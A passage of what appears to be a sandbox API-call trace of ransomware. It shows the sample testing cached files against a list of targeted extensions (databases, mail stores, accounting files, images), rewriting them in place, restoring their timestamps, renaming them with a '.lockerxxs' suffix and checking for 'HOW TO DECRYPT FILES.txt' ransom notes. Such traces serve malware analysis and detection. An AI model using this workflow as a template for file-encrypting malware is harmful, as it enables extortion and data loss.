HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.231] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.231] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEdDNm[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg" [0083.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.ems") returned 0 [0083.231] lstrlenA (lpString="*.ems") returned 5 [0083.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.db") returned 0 [0083.231] lstrlenA (lpString="*.db") returned 4 [0083.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.dbf") returned 0 [0083.231] lstrlenA (lpString="*.dbf") returned 5 [0083.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.myox") returned 0 [0083.231] lstrlenA (lpString="*.myox") returned 6 [0083.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.myo") returned 0 [0083.231] lstrlenA (lpString="*.myo") returned 5 [0083.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.qbw") returned 0 [0083.231] lstrlenA (lpString="*.qbw") returned 5 [0083.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.qbb") returned 0 [0083.231] lstrlenA (lpString="*.qbb") returned 5 [0083.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.qbm") returned 0 [0083.232] lstrlenA (lpString="*.qbm") returned 5 [0083.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.qbo") returned 0 [0083.232] lstrlenA (lpString="*.qbo") returned 5 [0083.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.qbx") returned 0 [0083.232] lstrlenA (lpString="*.qbx") returned 5 [0083.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.qba") returned 0 [0083.232] lstrlenA (lpString="*.qba") returned 5 [0083.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.qby") returned 0 [0083.232] lstrlenA (lpString="*.qby") returned 5 [0083.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.qbj") returned 0 [0083.232] lstrlenA (lpString="*.qbj") returned 5 [0083.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.ofx") returned 0 [0083.232] lstrlenA (lpString="*.ofx") returned 5 [0083.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.qif") returned 0 [0083.232] lstrlenA (lpString="*.qif") returned 5 [0083.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.mye") returned 0 [0083.232] lstrlenA (lpString="*.mye") returned 5 [0083.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.mbox") returned 0 [0083.232] lstrlenA (lpString="*.mbox") returned 6 [0083.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.eml") returned 0 [0083.232] lstrlenA (lpString="*.eml") returned 5 [0083.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.pst") returned 0 [0083.232] lstrlenA (lpString="*.pst") returned 5 [0083.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.ost") returned 0 [0083.233] lstrlenA (lpString="*.ost") returned 5 [0083.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.idx") returned 0 [0083.233] lstrlenA (lpString="*.idx") returned 5 [0083.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.dbx") returned 0 [0083.233] lstrlenA (lpString="*.dbx") returned 5 [0083.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.sql") returned 0 [0083.233] lstrlenA (lpString="*.sql") returned 5 [0083.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.mdb") returned 0 [0083.233] lstrlenA (lpString="*.mdb") returned 5 [0083.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.fdb") returned 0 [0083.233] lstrlenA (lpString="*.fdb") returned 5 [0083.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.wab") returned 0 [0083.233] lstrlenA (lpString="*.wab") returned 5 [0083.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.dat") returned 0 [0083.233] lstrlenA (lpString="*.dat") returned 5 [0083.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.txt") returned 0 [0083.233] lstrlenA (lpString="*.txt") returned 5 [0083.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.jpeg") returned 0 [0083.233] lstrlenA (lpString="*.jpeg") returned 6 [0083.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", pszSpec="*.jpg") returned 1 [0083.234] lstrlenA (lpString="*.jpg") returned 5 [0083.234] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg" [0083.234] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg" [0083.234] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg." [0083.234] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg.lockerxxs" [0083.234] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeddnm[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.245] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xaca8 [0083.246] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x50ebbff0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x50ebbff0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x50ebbff0, dwHighDateTime=0x1d2faf3)) returned 1 [0083.246] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.246] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xac82, lpOverlapped=0x0) returned 1 [0083.248] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg") returned="BBEdDNm[1].jpg" [0083.248] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.248] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xac82, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xac82, lpOverlapped=0x0) returned 1 [0083.249] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.249] CloseHandle (hObject=0xa4) returned 1 [0083.249] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeddnm[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeddnm[1].jpg.lockerxxs")) returned 1 [0083.250] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458a2cf0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458a2cf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x458a2cf0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x755, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEdpyr[1].jpg", cAlternateFileName="BBEDPY~1.JPG")) returned 1 [0083.250] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.250] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEdpyr[1].jpg") returned 1 [0083.250] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEdpyr[1].jpg") returned 1 [0083.251] lstrcmpiA (lpString1="", lpString2="BBEdpyr[1].jpg") returned -1 [0083.251] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg") returned="BBEdDNm[1].jpg" [0083.251] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.251] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.251] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.251] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.251] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEdpyr[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg" [0083.251] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.ems") returned 0 [0083.251] lstrlenA (lpString="*.ems") returned 5 [0083.252] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.db") returned 0 [0083.252] lstrlenA (lpString="*.db") returned 4 [0083.252] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.dbf") returned 0 [0083.252] lstrlenA (lpString="*.dbf") returned 5 [0083.252] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.myox") returned 0 [0083.252] lstrlenA (lpString="*.myox") returned 6 [0083.252] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.myo") returned 0 [0083.252] lstrlenA (lpString="*.myo") returned 5 [0083.252] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.qbw") returned 0 [0083.252] lstrlenA (lpString="*.qbw") returned 5 [0083.252] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.qbb") returned 0 [0083.252] lstrlenA (lpString="*.qbb") returned 5 [0083.253] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.qbm") returned 0 [0083.253] lstrlenA (lpString="*.qbm") returned 5 [0083.253] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.qbo") returned 0 [0083.253] lstrlenA (lpString="*.qbo") returned 5 [0083.253] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.qbx") returned 0 [0083.253] lstrlenA (lpString="*.qbx") returned 5 [0083.253] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.qba") returned 0 [0083.253] lstrlenA (lpString="*.qba") returned 5 [0083.253] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.qby") returned 0 [0083.253] lstrlenA (lpString="*.qby") returned 5 [0083.253] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.qbj") returned 0 [0083.253] lstrlenA (lpString="*.qbj") returned 5 [0083.253] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.ofx") returned 0 [0083.253] lstrlenA (lpString="*.ofx") returned 5 [0083.253] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.qif") returned 0 [0083.254] lstrlenA (lpString="*.qif") returned 5 [0083.254] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.mye") returned 0 [0083.254] lstrlenA (lpString="*.mye") returned 5 [0083.254] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.mbox") returned 0 [0083.254] lstrlenA (lpString="*.mbox") returned 6 [0083.254] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.eml") returned 0 [0083.254] lstrlenA (lpString="*.eml") returned 5 [0083.254] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.pst") returned 0 [0083.254] lstrlenA (lpString="*.pst") returned 5 [0083.254] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.ost") returned 0 [0083.254] lstrlenA (lpString="*.ost") returned 5 [0083.254] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.idx") returned 0 [0083.254] lstrlenA (lpString="*.idx") returned 5 [0083.254] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.dbx") returned 0 [0083.254] lstrlenA (lpString="*.dbx") returned 5 [0083.255] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.sql") returned 0 [0083.255] lstrlenA (lpString="*.sql") returned 5 [0083.255] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.mdb") returned 0 [0083.255] lstrlenA (lpString="*.mdb") returned 5 [0083.255] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.fdb") returned 0 [0083.255] lstrlenA (lpString="*.fdb") returned 5 [0083.255] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg", pszSpec="*.wab") returned 0 [0083.255] lstrlenA (lpString="*.wab") returned 5 [0083.255] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 